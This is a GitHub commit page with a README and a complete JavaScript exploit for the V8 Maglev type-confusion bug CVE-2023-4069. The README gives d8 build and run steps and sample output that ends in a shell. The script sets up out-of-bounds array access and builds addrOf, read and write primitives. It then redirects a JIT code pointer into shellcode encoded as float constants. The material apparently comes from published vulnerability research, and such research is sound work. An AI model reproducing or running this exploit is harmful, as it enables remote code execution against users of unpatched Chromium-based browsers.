Skip to content

Commit f956ca4

Browse files
committed
Initial commit
1 parent 27a40ad commit f956ca4

File tree

2 files changed

+180
-0
lines changed

2 files changed

+180
-0
lines changed
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
## V8 type confusion CVE-2023-4069
2+
3+
The analysis of this bug can be found [here]( https://github.blog/2023-10-17-getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler).
4+
5+
The exploit here is tested on `v8` version 11.5.150.16, which is the version shipped with Chrome 115.0.5790.98/99, the one before the bug is fixed, on Ubuntu 22.04. I have not tested it on Chrome itself.
6+
7+
To test, check out `v8` at version 11.5.150.16 and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8` with the `maglev` flag (Chrome would have enabled this flag already):
8+
9+
```
10+
./d8 --maglev poc.js
11+
```
12+
13+
On Ubuntu 22.04, it should call `execve("/bin/sh")` to spawn a new process:
14+
15+
```
16+
./d8 --maglev exploit.js
17+
oobDblAddr: 421e9
18+
oobDblArr new length: 256
19+
oobDblAddr2: 42251
20+
oobObjAddr: 42299
21+
func Addr: 19bf6d
22+
code Addr: 19eb79
23+
maglev Addr: e000d900 55d6
24+
$
25+
```
26+
27+
Shell code and some addresses may need changing on other platforms.
28+
29+
Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
function searchDblArrIndex(startAddr, corruptedArr, marker1, marker2, limit) {
2+
var startIndex = getOffset(startAddr);
3+
var end = getOffset(limit);
4+
var addr = startAddr;
5+
for (let idx = startIndex; idx < end; idx += 1) {
6+
if (corruptedArr[idx] == 0x40504000/2 && corruptedArr[idx + 2] == 0x40508000/2) {
7+
return idx - 3;
8+
}
9+
addr += 4;
10+
}
11+
}
12+
13+
function searchObjArrIndex(startAddr, corruptedArr, limit) {
14+
var startIndex = getOffset(startAddr);
15+
var end = getOffset(limit);
16+
for (let idx = startIndex; idx < end; idx += 1) {
17+
if (corruptedArr[idx] == 0x414141 && corruptedArr[idx + 1] == 0x424242) {
18+
return idx - 2;
19+
}
20+
}
21+
}
22+
23+
24+
function addrOf(obj, dblOffset) {
25+
oobObjArr[0] = obj;
26+
var addrDbl = oobDblArr[dblOffset];
27+
return ftoi32(addrDbl)[0];
28+
}
29+
30+
function read(addr, dblArrOffset) {
31+
var oldValue = oobDblArr[dblArrOffset];
32+
oobDblArr[dblArrOffset] = i32tof(addr, 2);
33+
var out = ftoi32(oobDblArr2[0]);
34+
oobDblArr[dblArrOffset] = oldValue;
35+
return out;
36+
}
37+
38+
function write(addr, val1, val2, dblArrOffset) {
39+
var oldValue = oobDblArr[dblArrOffset];
40+
oobDblArr[dblArrOffset] = i32tof(addr, 2);
41+
oobDblArr2[0] = i32tof(val1, val2);
42+
oobDblArr[dblArrOffset] = oldValue;
43+
return;
44+
}
45+
46+
class A {}
47+
48+
var gcSize = 0x4fe00000;
49+
50+
//version dependent
51+
//Address of corruptedArr, serves as starting point of search, does not need to be too accurate
52+
var arrAddr = 0x42191;
53+
var emptyAddr = 0x219;
54+
55+
var view = new ArrayBuffer(24);
56+
var dblArr = new Float64Array(view);
57+
var intView = new Uint32Array(view);
58+
var bigIntView = new BigInt64Array(view);
59+
60+
function func() {
61+
return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284];
62+
}
63+
for (let i = 0; i < 1000; i++) func(0);
64+
65+
var x = Array;
66+
67+
class B extends A {
68+
constructor() {
69+
x = new.target;
70+
super();
71+
}
72+
}
73+
function construct() {
74+
var r = Reflect.construct(B, [], x);
75+
return r;
76+
}
77+
78+
for (let i = 0; i < 2000; i++) construct();
79+
80+
new ArrayBuffer(gcSize);
81+
new ArrayBuffer(gcSize);
82+
83+
corruptedArr = construct();
84+
corruptedArr = construct();
85+
86+
function getOffset(addr) {
87+
return (addr - emptyAddr)/4 - 2;
88+
}
89+
90+
function indexToAddr(idx) {
91+
return (idx + 2) * 4 + emptyAddr;
92+
}
93+
94+
function ftoi32(f) {
95+
dblArr[0] = f;
96+
return [intView[0], intView[1]];
97+
}
98+
99+
function i32tof(i1, i2) {
100+
intView[0] = i1;
101+
intView[1] = i2;
102+
return dblArr[0];
103+
}
104+
105+
function itof(i) {
106+
bigIntView = BigInt(i);
107+
return dblArr[0];
108+
}
109+
110+
function ftoi(f) {
111+
dblArr[0] = f;
112+
return bigIntView[0];
113+
}
114+
115+
//Use 1.5 so double representation can be interpreted as SMI to avoid deref crash
116+
var oobDblArr = [0x41, 0x42, 0x51, 0x52, 1.5];
117+
var oobDblArr2 = [0x41, 0x42, 1.5];
118+
var oobObjArr = [view, 0x424242];
119+
oobObjArr[0] = 0x414141;
120+
121+
var dblIndex = searchDblArrIndex(arrAddr, corruptedArr, 0x40504000/2, 0x40508000/2, arrAddr + 0x1000);
122+
123+
corruptedArr[dblIndex + 3] = 1;
124+
125+
let dblAddr = indexToAddr(dblIndex);
126+
dblIndex = searchDblArrIndex(dblAddr, corruptedArr, 0x40504000/2, 0x40508000/2, dblAddr + 0x1000);
127+
console.log("oobDblAddr: " + indexToAddr(dblIndex).toString(16));
128+
var oobDblIndex = dblIndex;
129+
corruptedArr[dblIndex + 3] = 0x41;
130+
if (dblIndex == null || oobDblArr[0] == 0x41) {
131+
console.log("cannot find dblIndex");
132+
} else {
133+
corruptedArr[dblIndex - 3] = 0x100;
134+
console.log("oobDblArr new length: " + oobDblArr.length);
135+
dblIndex = searchDblArrIndex(dblAddr, corruptedArr, 0x40504000/2, 0x40508000/2, dblAddr + 0x100);
136+
dblAddr = indexToAddr(dblIndex + 10);
137+
dblIndex = searchDblArrIndex(dblAddr, corruptedArr, 0x40504000/2, 0x40508000/2, dblAddr + 0x100);
138+
console.log("oobDblAddr2: " + indexToAddr(dblIndex).toString(16));
139+
var oobDbl2Index = dblIndex;
140+
let objIndex = searchObjArrIndex(dblAddr, corruptedArr, dblAddr + 0x100);
141+
console.log("oobObjAddr: " + indexToAddr(objIndex).toString(16));
142+
var funcAddr = addrOf(func, (objIndex - oobDblIndex) >> 1);
143+
console.log("func Addr: " + funcAddr.toString(16));
144+
var dblOffset = (oobDbl2Index - oobDblIndex - 5) >> 1;
145+
var codeAddr = read(funcAddr + 0x10, dblOffset)[0];
146+
console.log("code Addr: " + codeAddr.toString(16));
147+
var maglevAddr = read(codeAddr + 0x8, dblOffset);
148+
console.log("maglev Addr: " + maglevAddr[0].toString(16) + " " + maglevAddr[1].toString(16));
149+
write(codeAddr + 0x8, maglevAddr[0] + 0x80 + 2, maglevAddr[1], dblOffset);
150+
func();
151+
}

0 commit comments

Comments
 (0)